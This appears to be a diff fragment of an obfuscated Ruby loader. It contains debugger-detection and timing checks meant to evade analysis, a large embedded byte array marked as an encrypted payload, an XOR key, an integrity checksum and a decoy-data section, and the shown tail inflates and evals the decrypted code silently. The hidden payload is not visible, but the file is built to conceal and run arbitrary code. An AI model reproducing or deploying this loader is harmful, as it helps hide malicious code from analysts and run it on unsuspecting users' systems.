_z6d2af1 = Zlib::Inflate.inflate(_z6d2af1)
|
|
104
|
+
_ma064f7 = _z6d2af1.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_i84276d = _ma064f7.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _i84276d.strip.empty? || _i84276d.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_i84276d, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _waf27ed
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_waf27ed.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_m4dcc91 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_c9842e5 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _c9842e5) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_k8ca9d9 = _m4dcc91.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_h7709da = ->(_z4f6e5c, _u8cf70c) do
|
|
32
|
+
_hdb66be = []
|
|
33
|
+
_z4f6e5c.each_with_index do |byte, idx|
|
|
34
|
+
_hdb66be << (byte ^ _u8cf70c[idx % _u8cf70c.length])
|
|
35
|
+
end
|
|
36
|
+
_hdb66be
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_id6e17b = lambda do |_na106ef, _v0b0015, _d04a207, _pc0cbca|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_na106ef.pack('C*'))
|
|
44
|
+
if current_hash != _pc0cbca
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_na106ef = [211, 149, 109, 183, 187, 107, 131, 224, 216, 26, 16, 136, 45, 244, 175, 33, 106, 145, 199, 193, 132, 228, 155, 127, 201, 169, 247, 151, 30, 140, 2, 101, 186, 92, 13, 179, 90, 250, 39, 4, 56, 224, 39, 148, 139, 83, 30, 242, 35, 38, 26, 39, 140, 9, 90, 99, 39, 209, 178, 96, 198, 117, 71, 53, 232, 14, 201, 252, 115, 183, 22, 19, 62, 116, 143, 251, 162, 114, 196, 249, 114, 204, 184, 27, 215, 81, 22, 98, 241, 178, 87, 236, 147, 146, 106, 135, 55, 143, 81, 7, 232, 53, 202, 192, 82, 138, 79, 151, 62, 247, 198, 163, 46, 22, 71, 187, 6, 122, 165, 36, 168, 215, 148, 222, 116, 103, 172, 10, 200, 140, 97, 183, 42, 12, 10, 56, 156, 146, 169, 87, 79, 119, 71, 74, 233, 85, 129, 152, 141, 22, 212, 127, 229, 94, 63, 34, 123, 49, 79, 244, 30, 97, 161, 166, 118, 96, 129, 29, 209, 130, 36, 79, 226, 65, 84, 112, 140, 123, 222, 66, 93, 203, 44, 202, 112, 70, 242, 255, 12, 247, 111, 4, 56, 208, 207, 240, 108, 154, 44, 70, 117, 183, 109, 92, 199, 59, 220, 112, 245, 135, 26, 139, 95, 148, 231, 164, 91, 189, 193, 254, 146, 31, 79, 42, 42, 133, 117, 44, 26, 10, 52, 242, 224, 135, 96, 42, 173, 164, 253, 166, 118, 20, 74, 234, 162, 46, 163, 209, 170, 104, 21, 156, 137, 180, 71, 114, 52, 3, 214, 72, 126, 137, 151, 247, 33, 33, 58, 69, 1, 247, 236, 52, 14, 116, 52, 51, 67, 54, 128, 112, 73, 37, 251, 91, 193, 164, 189, 46, 221, 161, 178, 234, 133, 80, 52, 89, 250, 59, 179, 219, 158, 234, 44, 84, 206, 145, 92, 215, 223, 161, 225, 137, 109, 224, 23, 153, 141, 147, 187, 228, 154, 110, 120, 51, 57, 11, 80, 136, 101, 96, 63, 222, 214, 229, 47, 137, 250, 67, 131, 161, 135, 136, 254, 8, 56, 1, 11, 218, 199, 22, 137, 175, 53, 240, 171, 113, 227, 88, 254, 233, 213, 175, 228, 58, 101, 192, 141, 136, 174, 245, 76, 207, 239, 234, 172, 21, 43, 200, 120, 53, 139, 199, 201, 205, 45, 77, 94, 10, 3, 161, 9, 13, 87, 184, 163, 79, 173, 120, 0, 26, 92, 226, 73, 115, 100, 172, 154, 23, 225, 194, 177, 172, 95, 255, 253, 41, 197, 129, 136, 101, 158, 241, 175, 89, 132, 53, 118, 154, 46, 73, 229, 191, 40, 15, 48, 209, 46, 181, 85, 233, 101, 223, 19, 66, 15, 130, 106, 108, 185, 224, 140, 65, 117, 142, 195, 14, 65, 113, 119, 233, 98, 6, 73, 140, 23, 253, 27, 76, 238, 187, 181, 210, 73, 47, 72, 56, 27, 50, 37, 128, 144, 174, 189, 255, 91, 225, 24, 182, 145, 199, 88, 214, 22, 43, 167, 119, 229, 111, 164, 165, 210, 129, 168, 218, 10, 128, 122, 181, 201, 255, 172, 33, 47, 128, 39, 127, 0, 21, 197, 51, 0, 239, 90, 147, 35, 216, 165, 136, 24, 45, 187, 9, 17, 96, 29, 157, 37, 73, 160, 254, 149, 204, 115, 211, 111, 178, 105, 139, 73, 56, 69, 153, 186, 164, 164, 81, 4, 52, 212, 101, 2, 3, 143, 225, 78, 192, 211, 77, 70, 91, 48, 92, 185, 49, 248, 242, 157, 33, 253, 98, 143, 228, 129, 247, 68, 3, 226, 157, 167, 69, 185, 212, 189, 104, 44, 54, 219, 46, 158, 245, 52, 241, 108, 192, 95, 231, 1, 233, 34, 78, 83, 219, 58, 80, 137, 75, 24, 90, 46, 141, 219, 52, 138, 11, 252, 232, 224, 21, 40, 236, 13, 169, 45, 114, 139, 160, 14, 6, 13, 110, 3, 2, 126, 110, 21, 122, 163, 131, 79, 153, 169, 193, 255, 244, 64, 238, 137, 196, 77, 237, 175, 68, 168, 194, 130, 234, 221, 215, 47, 56, 178, 46, 33, 46, 12, 79, 140, 149, 235, 244, 215, 135, 197, 228, 249, 95, 63, 52, 1, 167, 100, 35, 143, 6, 106, 233, 31, 229, 6, 28, 205, 51, 216, 70, 60, 91, 251, 151, 29, 103, 13, 35, 106, 56, 54, 238, 103, 88, 110, 242, 130, 27, 174, 254, 117, 76, 179, 89, 69, 19, 152, 155, 79, 146, 128, 182, 235, 198, 220, 77, 88, 221, 138, 35, 9, 217, 205, 52, 132, 5, 149, 144, 22, 109, 5, 77, 48, 241, 185, 84, 153, 7, 173, 79, 151, 92, 98, 248, 54, 18, 93, 73, 182, 79, 172, 41, 222, 240, 111, 153, 185, 143, 194, 159, 41, 175, 194, 15, 197, 187, 148, 59, 37, 81, 175, 104, 90, 185, 194, 3, 246, 211, 157, 10, 174, 61, 74, 155, 72, 194, 184, 223, 104, 154, 255, 85, 103, 205, 133, 81, 139, 39, 53, 226, 118, 2, 95, 183, 99, 36, 203, 163, 14, 185, 37, 173, 98, 105, 173, 63, 30, 155, 82, 254, 233, 27, 73, 239, 71, 213, 200, 243, 80, 73, 149, 107, 209, 27, 125, 168, 252, 66, 209, 91, 180, 117, 89, 174, 202, 50, 242, 94, 164, 121, 216, 179, 67, 67, 53, 146, 108, 114, 180, 132, 224, 18, 106, 83, 202, 255, 244, 5, 75, 248, 15, 36, 64, 211, 45, 180, 162, 77, 184, 105, 82, 23, 87, 45, 162, 239, 141, 35, 233, 216, 39, 62, 188, 79, 156, 89, 184, 245, 216, 24, 234, 16, 187, 11, 169, 239, 42, 105, 49, 128, 162, 11, 148, 88, 156, 201, 130, 215, 132, 185, 198, 49, 39, 116, 173, 252, 68, 138, 157, 106, 237, 145, 232, 223, 201, 134, 110, 68, 54, 97, 60, 123, 214, 239, 62, 89, 226, 118, 155, 15, 82, 111, 247, 6, 93, 18, 245, 232, 51, 215, 26, 21, 182, 246, 23, 150, 156, 41, 229, 224, 84, 90, 128, 38, 22, 191, 197, 83, 53, 200, 22, 31, 97, 101, 112, 218, 146, 75, 166, 149, 38, 94, 135, 235, 158, 94, 104, 182, 251, 145, 121, 150, 126, 161, 204, 217, 61, 104, 132, 180, 242, 157, 49, 201, 134, 110, 237, 81, 167, 245, 146, 109, 153, 135, 255, 108, 246, 17, 120, 148, 232, 197, 227, 93, 178, 85, 63, 207, 61, 103, 231, 162, 2, 180, 100, 9, 134, 57, 206, 183, 95, 161, 16, 219, 25, 11, 60, 40, 28, 202, 228, 186, 244, 234, 34, 114, 52, 106, 233, 164, 244, 188, 28, 231, 10, 86, 225, 153, 15, 89, 78, 90, 54, 2, 77, 146, 10, 126, 32, 147, 68, 189, 154, 233, 171, 245, 56, 72, 0, 21, 193, 139, 245, 244, 90, 3, 64, 254, 90, 148, 166, 131, 236, 167, 1, 228, 26, 66, 209, 173, 84, 15, 26, 144, 182, 135, 50, 107, 133, 167, 225, 187, 157, 7, 182, 29, 92, 147, 55, 252, 74, 89, 75, 30, 247, 100, 157, 83, 211, 241, 29, 165, 138, 224, 109, 62, 220, 207, 4, 228, 229, 49, 185, 113, 146, 177, 171, 42, 246, 225, 48, 11, 202, 13, 184, 81, 96, 114, 6, 46, 234, 185, 5, 118, 5, 216, 39, 33, 104, 127, 73, 126, 243, 30, 163, 207, 251, 171, 239, 119, 185, 140, 202, 79, 100, 131, 232, 32, 185, 19, 238, 52, 148, 97, 114, 66, 63, 242, 112, 134, 129, 185, 17, 133, 160, 101, 93, 149, 125, 191, 25, 55, 139, 84, 219, 23, 217, 119, 2, 97, 146, 178, 206, 226, 19, 33, 155, 111, 72, 244, 2, 202, 244, 202, 127, 103, 187, 255, 202, 81, 49, 241, 17, 180, 140, 73, 164, 174, 221, 117, 157, 170, 142, 106, 1, 83, 68, 235, 187, 231, 172, 123, 4, 228, 222, 122, 84, 216, 55, 106, 37, 47, 208, 63, 254, 0, 128, 149, 35, 168, 73, 62, 129, 189, 69, 48, 115, 160, 14, 151, 5, 171, 100, 167, 44, 67, 195, 229, 61, 221, 66, 225, 116, 36, 125, 16, 48, 159, 165, 92, 127, 138, 241, 200, 212, 5, 162, 135, 209, 177, 122, 240, 124, 86, 73, 176, 79, 6, 139, 104, 207, 55, 167, 248, 249, 2, 228, 246, 100, 203, 234, 6, 158, 211, 242, 188, 134, 60, 192, 164, 147, 164, 28, 220, 169, 34, 94, 134, 187, 157, 191, 121, 228, 213, 239, 14, 2, 225, 176, 31, 82, 8, 79, 235, 104, 151, 151, 210, 198, 7, 148, 87, 30, 214, 107, 85, 213, 30, 200, 149, 226, 203, 97, 207, 238, 99, 131, 11, 252, 145, 80, 12, 199, 165, 16, 108, 54, 21, 32, 156, 178, 55, 16, 244, 11, 129, 106, 190, 211, 72, 43, 51, 142, 6, 204, 146, 242, 43, 245, 179, 18, 37, 188, 127, 26, 23, 214, 158, 250, 212, 75, 15, 111, 18, 181, 22, 96, 57, 162, 249, 176, 188, 29, 197, 49, 49, 250, 92, 72, 250, 100, 21, 222, 229, 71, 178, 236, 180, 247, 167, 170, 82, 47, 101, 115, 129, 240, 210, 205, 107, 91, 138, 44, 39, 245, 206, 205, 201, 174, 20, 134, 18, 248, 180, 46, 6, 58, 15, 85, 2, 20, 221, 10, 170, 172, 100, 28, 3, 225, 64, 42, 248, 177, 109, 46, 182, 212, 79, 105, 254, 18, 216, 252, 73, 242, 14, 182, 215, 194, 60, 97, 169, 68, 130, 101, 194, 71, 214, 89, 179, 167, 225, 146, 148, 126, 213, 179, 66, 163, 248, 184, 101, 199, 30, 86, 159, 93, 32, 32, 158, 197, 207, 239, 107, 239, 3, 247, 149, 20, 89, 54, 232, 110, 33, 120, 147, 253, 78, 228, 177, 220, 18, 49, 173, 204, 46, 173, 186, 204, 70, 221, 115, 135, 177, 19, 31, 231, 125, 86, 129, 233, 120, 4, 58, 238, 49, 166, 214, 230, 121, 244, 51, 230, 153, 231, 115, 189, 244, 0, 206, 130, 222, 254, 65, 64, 8, 25, 36, 219, 235, 129, 76, 62, 82, 139, 139, 202, 112, 110, 79, 20, 178, 75, 33, 101, 235, 163, 0, 204, 192, 11, 199, 12, 27, 133, 39, 166, 255, 117, 234, 249, 31, 17, 176, 114, 160, 166, 152, 196, 100, 9, 165, 4, 119, 113, 2, 97, 251, 39, 123, 44, 145, 159, 230, 115, 111, 175, 220, 249, 182, 211, 252, 51, 44, 18, 1, 235, 149, 28, 104, 54, 97, 193, 254, 19, 32, 85, 210, 153, 107, 231, 156, 222, 159, 200, 88, 198, 158, 229, 184, 83, 41, 242, 248, 62, 2, 44, 115, 74, 207, 47, 213, 182, 13, 180, 160, 47, 125, 184, 149, 42, 1, 112, 7, 184, 224, 208, 152, 226, 106, 118, 200, 232, 33, 227, 236, 88, 85, 176, 140, 231, 147, 39, 84, 7, 243, 167, 213, 188, 104, 3, 162, 204, 44, 213, 184, 69, 89, 142, 118, 80, 94, 108, 174, 196, 89, 123, 156, 221, 47, 160, 187, 66, 66, 15, 22, 71, 233, 164, 243, 193, 167, 7, 35, 46, 185, 112, 125, 70, 186, 57, 147, 167, 207, 245, 25, 15, 90, 136, 246, 163, 118, 5, 59, 37, 71, 158, 142, 147, 88, 32, 206, 82, 228, 225, 181, 95, 200, 89, 60, 217, 131, 127, 188, 94, 21, 252, 93, 231, 154, 59, 216, 158, 171, 33, 207, 84, 213, 233, 163, 181, 174, 180, 87, 177, 85, 50, 77, 33, 183, 246, 77, 25, 179, 177, 184, 182, 253, 143, 101, 68, 134, 123, 249, 163, 211, 149, 130, 41, 48, 249, 50, 129, 225, 202, 105, 113, 87, 239, 131, 9, 13, 245, 15, 77, 54, 17, 234, 142, 114, 103, 5, 243, 17, 168, 150, 91, 84, 94, 119, 213, 35, 125, 66, 103, 43, 20, 78, 161, 86, 159, 109, 136, 82, 62, 28, 91, 140, 228, 34, 58, 40, 130, 80, 178, 218, 118, 193, 242, 45, 231, 94, 34, 109, 34, 141, 240, 0, 218, 123, 208, 213, 77, 209, 20, 36, 164, 54, 57, 222, 229, 81, 134, 175, 221, 8, 108, 98, 253, 236, 171, 7, 100, 142, 91, 55, 51, 55, 65, 235, 77, 217, 224, 40, 197, 5, 48, 45, 89, 169, 211, 205, 123, 253, 220, 161, 104, 205, 50, 82, 1, 96, 168, 249, 238, 131, 45, 115, 144, 93, 167, 224, 163, 32, 1, 1, 134, 85, 191, 43, 175, 43, 162, 40, 100, 227, 134, 31, 130, 232, 43, 110, 136, 25, 148, 40, 76, 232, 83, 2, 44, 152, 135, 70, 72, 177, 71, 85, 134, 49, 62, 128, 170, 230, 83, 179, 0, 8, 107, 234, 122, 50, 219, 161, 185, 203, 142, 36, 193, 60, 127, 87, 181, 70, 185, 174, 55, 128, 124, 240, 243, 244, 39, 52, 253, 197, 6, 149, 244, 109, 38, 105, 145, 26, 183, 59, 244, 166, 88, 51, 44, 190, 46, 194, 149, 204, 157, 84, 250, 163, 56, 245, 6, 49, 148, 161, 159, 206, 54, 98, 11, 43, 112, 8, 245, 22, 23, 80, 186, 106, 205, 141, 54, 242, 109, 255, 60, 221, 228, 231, 72, 49, 217, 224, 139, 20, 148, 143, 169, 231, 114, 19, 156, 240, 124, 170, 80, 130, 185, 155, 58, 45, 188, 76, 210, 156, 46, 53, 86, 168, 157, 212, 9, 248, 253, 167, 185, 79, 166, 217, 139, 186, 11, 105, 77, 233, 162, 209, 20, 185, 126, 95, 11, 82, 51, 228, 200, 114, 184, 174, 135, 118, 207, 70, 7, 82, 250, 113, 157, 138, 166, 98, 15, 55, 29, 253, 58, 6, 85, 78, 37, 25, 53, 214, 230, 83, 254, 235, 249, 138, 91, 141, 148, 237, 139, 253, 197, 211, 82, 122, 141, 14, 185, 212, 80, 123, 140, 36, 63, 145, 135, 50, 87, 30, 105, 215, 148, 122, 45, 142, 255, 42, 79, 203, 88, 24, 60, 219, 169, 228, 164, 198, 142, 36, 189, 162, 147, 136, 153, 1, 9, 170, 143, 244, 207, 142, 22, 216, 17, 212, 225, 221, 219, 44, 207, 83, 130, 234, 108, 202, 60, 225, 120, 43, 157, 206, 68, 235, 149, 215, 165, 87, 65, 115, 94, 89, 87, 124, 88, 198, 34, 164, 3, 109, 122, 234, 213, 72, 127, 216, 119, 85, 178, 81, 150, 76, 44, 109, 241, 46, 84, 200, 241, 238, 27, 184, 248, 241, 207, 255, 186, 205, 30, 64, 190, 243, 195, 109, 152, 5, 190, 238, 228, 128, 252, 64, 134, 223, 76, 142, 61, 99, 254, 230, 247, 241, 173, 147, 232, 207, 175, 17, 79, 246, 109, 122, 165, 78, 229, 217, 93, 51, 244, 64, 207, 85, 135, 68, 237, 192, 237, 26, 66, 175, 7, 115, 133, 211, 15, 2, 190, 40, 232, 70, 171, 38, 218, 118, 11, 254, 175, 22, 68, 163, 182, 184, 157, 3, 235, 198, 121, 69, 162, 93, 201, 87, 4, 217, 33, 72, 2, 108, 157, 131, 212, 213, 93, 190, 29, 13, 30, 218, 151, 61, 142, 206, 251, 0, 135, 227, 25, 191, 94, 229, 164, 53, 75, 39, 64, 195, 225, 185, 19, 194, 56, 108, 136, 117, 83, 226, 54, 7, 50, 172, 165, 85, 38, 75, 233, 95, 133, 100, 193, 124, 64, 97, 32, 221, 36, 142, 172, 173, 102, 219, 201, 139, 128, 148, 206, 88, 58, 84, 248, 204, 7, 63, 181, 248, 213, 23, 108, 201, 251, 234, 13, 158, 103, 119, 117, 87, 53, 129, 166, 12, 180, 36, 111, 240, 215, 137, 132, 184, 105, 181, 27, 147, 9, 191, 140, 211, 240, 49, 248, 24, 243, 219, 56, 106, 13, 54, 113, 12, 149, 85, 237, 57, 17, 12, 238, 140, 78, 49, 97, 90, 51, 196, 214, 104, 168, 49, 193, 70, 160, 242, 246, 226, 109, 153, 175, 145, 90, 137, 55, 136, 136, 175, 196, 5, 151, 150, 191, 247, 231, 208, 158, 176, 202, 233, 173, 187, 21, 23, 145, 21, 227, 211, 132, 203, 247, 222, 146, 244, 229, 127, 242, 70, 28, 45, 168, 167, 250, 165, 161, 238, 202, 109, 159, 214, 80, 144, 165, 135, 222, 144, 50, 230, 120, 60, 98, 113, 141, 151, 218, 190, 2, 240, 98, 79, 167, 30, 183, 49, 17, 83, 192, 126, 236, 0, 154, 37, 183, 150, 128, 37, 183, 50, 146, 9, 118, 193, 253, 121, 19, 3, 53, 233, 156, 254, 69, 110, 169, 211, 204, 236, 87, 95, 215, 43, 178, 63, 182, 128, 89, 85, 25, 74, 187, 110, 158, 223, 63, 235, 20, 143, 98, 6, 224, 197, 203, 49, 159, 25, 95, 119, 179, 153, 195, 207, 214, 64, 52, 190, 157, 217, 8, 186, 109, 193, 63, 37, 68, 251, 95, 229, 167, 237, 31, 194, 32, 186, 249, 107, 48, 5, 25, 151, 75, 135, 119, 162, 106, 13, 21, 110, 82, 243, 246, 212, 226, 71, 111, 132, 92, 120, 129, 100, 63, 168, 246, 62, 206, 209, 238, 8, 216, 236, 247, 223, 250, 235, 72, 179, 198, 224, 167, 107, 34, 138, 132, 35, 56, 142, 186, 12, 127, 221, 195, 190, 121, 87, 181, 99, 143, 158, 189, 187, 146, 180, 112, 59, 87, 34, 117, 89, 106, 153, 219, 218, 114, 162, 8, 73, 79, 164, 101, 183, 113, 171, 60, 228, 64, 22, 229, 242, 73, 0, 10, 147, 0, 126, 145, 124, 85, 32, 223, 66, 19, 84, 207, 93, 148, 126, 62, 237, 63, 146, 10, 147, 219, 225, 167, 155, 13, 162, 217, 105, 68, 63, 36, 76, 63, 91, 143, 138, 241, 246, 58, 7, 231, 141, 102, 221, 97, 181, 53, 53, 30, 24, 117, 118, 254, 120, 221, 233, 217, 19, 3, 93, 58, 12, 167, 131, 212, 122, 250, 120, 239, 120, 203, 81, 211, 244, 40, 254, 212, 154, 196, 184, 3, 124, 150, 157, 16, 80, 13, 50, 231, 221, 182, 134, 34, 24, 209, 92, 170, 94, 212, 155, 203, 37, 131, 61, 5, 30, 5, 254, 182, 49, 57, 159, 110, 177, 18, 228, 211, 168, 1, 81, 28, 175, 133, 121, 142, 123, 123, 234, 255, 80, 183, 59, 241, 176, 58, 99, 179, 37, 227, 26, 238, 204, 223, 105, 240, 11, 124, 193, 64, 161, 19, 112, 5, 87, 250, 74, 87, 39, 243, 213, 153, 34, 221, 192, 41, 184, 213, 252, 216, 195, 166, 82, 35, 27, 241, 37, 142, 197, 8, 205, 152, 219, 27, 97, 121, 158, 241, 153, 174, 79, 247, 212, 220, 244, 106, 252, 144, 90, 77, 55, 230, 2, 84, 171, 191, 201, 51, 65, 94, 244, 42, 240, 229, 233, 183, 231, 97, 143, 108, 129, 34, 202, 105, 88, 54, 215, 243, 94, 121, 232, 219, 232, 157, 110, 217, 236, 235, 247, 24, 129, 130, 250, 217, 237, 90, 156, 191, 60, 215, 42, 98, 246, 226, 84, 196, 88, 60, 245, 110, 71, 251, 245, 183, 52, 232, 30, 42, 158, 119, 50, 48, 209, 51, 114, 106, 202, 81, 8, 253, 195, 79, 8, 35, 20, 181, 219, 56, 83, 162, 81, 123, 70, 20, 223, 235, 248, 31, 169, 210, 224, 96, 204, 100, 109, 12, 44, 192, 132, 3, 170, 222, 88, 73, 237, 104, 175, 188, 69, 74, 31, 18, 31, 184, 159, 35, 9, 58, 145, 148, 34, 38, 197, 205, 109, 209, 185, 101, 150, 221, 71, 68, 76, 16, 176, 20, 107, 220, 249, 96, 44, 20, 148, 234, 159, 163, 245, 151, 59, 216, 110, 120, 254, 232, 167, 178, 182, 49, 42, 65, 186, 65, 123, 47, 190, 115, 51, 60, 4, 182, 49, 89, 111, 70, 74, 55, 254, 242, 114, 132, 38, 156, 142, 247, 228, 172, 70, 173, 208, 229, 79, 127, 193, 158, 145, 231, 112, 237, 9, 190, 219, 54, 17, 163, 173, 38, 118, 226, 67, 68, 158, 170, 26, 94, 39, 33, 100, 19, 254, 89, 158, 90, 136, 21, 176, 195, 15, 112, 144, 78, 243, 62, 111, 47, 130, 134, 159, 195, 89, 53, 0, 72, 10, 8, 172, 39, 37, 31, 215, 87, 50, 173, 58, 92, 9, 0, 241, 199, 41, 77, 229, 229, 48, 37, 91, 187, 123, 175, 16, 179, 235, 97, 151, 117, 154, 4, 47, 97, 187, 2, 25, 37, 213, 131, 130, 175, 157, 51, 126, 138, 164, 222, 181, 19, 98, 214, 83, 229, 228, 116, 237, 83, 50, 92, 246, 244, 193, 32, 240, 45, 119, 121, 112, 85, 201, 50, 12, 38, 119, 178, 180, 160, 30, 4, 85, 232, 228, 183, 58, 7, 225, 205, 240, 4, 181, 68, 96, 103, 85, 239, 85, 191, 64, 137, 149, 149, 204, 49, 251, 194, 107, 182, 184, 45, 151, 202, 74, 250, 41, 107, 161, 16, 232, 103, 221, 82, 238, 236, 59, 143, 152, 167, 192, 246, 36, 123, 70, 174, 233, 81, 63, 223, 251, 103, 140, 199, 181, 119, 243, 169, 24, 41, 143, 79, 216, 216, 6, 168, 79, 146, 199, 240, 221, 238, 157, 42, 15, 252, 111, 201, 150, 157, 119, 184, 134, 249, 205, 21, 201, 227, 180, 10, 3, 24, 192, 254, 79, 189, 220, 242, 15, 191, 56, 79, 15, 200, 18, 114, 170, 180, 105, 219, 165, 185, 127, 191, 93, 122, 13, 126, 39, 180, 64, 246, 233, 63, 31, 205, 17, 148, 133, 97, 18, 164, 116, 4, 67, 210, 176, 213, 237, 131, 111, 147, 146, 76, 129, 180, 101, 186, 108, 179, 6, 17, 16, 79, 53, 54, 231, 209, 26, 228, 68, 213, 21, 43, 27, 67, 153, 136, 94, 25, 96, 69, 190, 119, 125, 52, 207, 185, 27, 137, 43, 30, 26, 230, 213, 176, 135, 77, 82, 56, 169, 125, 193, 158, 181, 117, 74, 76, 98, 179, 8, 184, 194, 43, 39, 84, 52, 193, 22, 105, 221, 135, 220, 203, 98, 53, 225, 131, 223, 205, 229, 241, 70, 158, 211, 163, 56, 103, 178, 194, 120, 127, 46, 239, 161, 114, 65, 34, 58, 95, 237, 19, 246, 153, 41, 69, 45, 120, 229, 105, 137, 125, 232, 160, 104, 192, 164, 143, 144, 84, 54, 64, 102, 6, 2, 203, 129, 114, 96, 177, 223, 96, 131, 222, 206, 246, 174, 139, 247, 63, 22, 82, 210, 23, 225, 220, 235, 32, 138, 194, 208, 228, 164, 115, 171, 163, 5, 179, 135, 161, 0, 126, 110, 24, 13, 52, 105, 125, 252, 229, 172, 97, 63, 122, 218, 244, 73, 155, 241, 162, 224, 187, 118, 204, 154, 168, 217, 71, 77, 54, 211, 212, 21, 5, 42, 161, 255, 99, 114, 220, 76, 11, 51, 229, 234, 97, 106, 227, 108, 106, 67, 216, 229, 38, 91, 172, 137, 24, 172, 41, 28, 92, 90, 186, 63, 80, 171, 236, 7, 157, 82, 22, 124, 174, 108, 61, 22, 120, 97, 2, 85, 92, 155, 151, 183, 230, 56, 85, 211, 55, 77, 208, 41, 66, 116, 240, 115, 45, 202, 84, 104, 233, 198, 185, 232, 215, 62, 240, 65, 246, 75, 246, 228, 213, 27, 202, 170, 1, 191, 243, 76, 109, 97, 67, 197, 239, 247, 94, 123, 140, 128, 186, 249, 210, 130, 178, 107, 241, 189, 92, 200, 19, 217, 179, 253, 245, 102, 28, 8, 31, 34, 102, 115, 20, 131, 46, 105, 45, 181, 221, 208, 90, 123, 174, 38, 163, 53, 192, 168, 139, 8, 154, 206, 16, 248, 96, 126, 6, 178, 206, 187, 34, 21, 41, 78, 77, 25, 99, 138, 143, 185, 158, 223, 185, 54, 55, 133, 93, 88, 222, 18, 50, 35, 219, 1, 21, 3, 119, 231, 148, 246, 45, 241, 58, 204, 239, 178, 174, 160, 106, 166, 198, 100, 106, 194, 229, 107, 246, 89, 112, 133, 129, 196, 166, 96, 131, 25, 86, 99, 77, 19, 56, 33, 1, 122, 133, 183, 49, 237, 21, 13, 249, 114, 129, 91, 83, 253, 52, 106, 28, 135, 180, 236, 74, 3, 220, 155, 43, 24, 229, 220, 85, 190, 205, 53, 255, 197, 68, 120, 191, 175, 161, 182, 135, 129, 224, 233, 247, 125, 43, 144, 148, 50, 235, 32, 34, 54, 249, 55, 150, 81, 15, 87, 6, 252, 208, 16, 126, 232, 144, 254, 70, 40, 23, 176, 128, 247, 13, 26, 235, 18, 190, 233, 244, 38, 22, 61, 168, 135, 190, 58, 46, 178, 101, 181, 35, 44, 10, 127, 238, 25, 22, 177, 166, 198, 187, 67, 39, 76, 194, 198, 116, 49, 66, 242, 119, 113, 243, 166, 130, 127, 117, 152, 44, 6, 196, 203, 132, 109, 77, 228, 49, 217, 91, 85, 55, 42, 211, 169, 171, 226, 11, 110, 211, 180, 1, 131, 54, 233, 130, 119, 189, 119, 122, 197, 127, 21, 79, 235, 66, 107, 83, 137, 208, 171, 188, 105, 119, 140, 202, 30, 125, 71, 5, 61, 85, 92, 24, 130, 133, 10, 227, 119, 78, 57, 220, 68, 145, 105, 166, 195, 200, 68, 186, 139, 12, 172, 34, 148, 13, 86, 246, 87, 132, 67, 19, 109, 63, 5, 184, 206, 178, 243, 74, 239, 248, 49, 18, 96, 253, 136, 203, 253, 135, 78, 92, 117, 171, 91, 208, 31, 214, 115, 83, 93, 251, 214, 134, 154, 26, 28, 136, 72, 36, 195, 126, 13, 155, 107, 197, 239, 154, 105, 31, 197, 105, 212, 110, 215, 112, 97, 245, 182, 214, 141, 154, 195, 187, 104, 59, 168, 87, 202, 117, 146, 182, 10, 192, 0, 191, 101, 192, 102, 5, 244, 254, 99, 1, 26, 209, 128, 225, 14, 220, 115, 191, 2, 121, 22, 234, 92, 46, 40, 28, 85, 48, 10, 129, 54, 88, 14, 175, 116, 220, 84, 215, 80, 50, 245, 196, 16, 232, 48, 106, 141, 160, 159, 105, 17, 61, 55, 219, 22, 63, 130, 146, 192, 119, 111, 154, 44, 194, 44] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_v0af7f7 = [61, 180, 38, 100, 200, 150, 137, 53, 23, 99, 105, 79, 244, 169, 84, 172, 171, 79, 108, 108]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_v0b0015 = [1, 0, 0, 0, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_pc0cbca = '307ef0bb6c24cc19df76094370bbd0ac9000d3ad7fbb899f455e885e7184c8b9'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
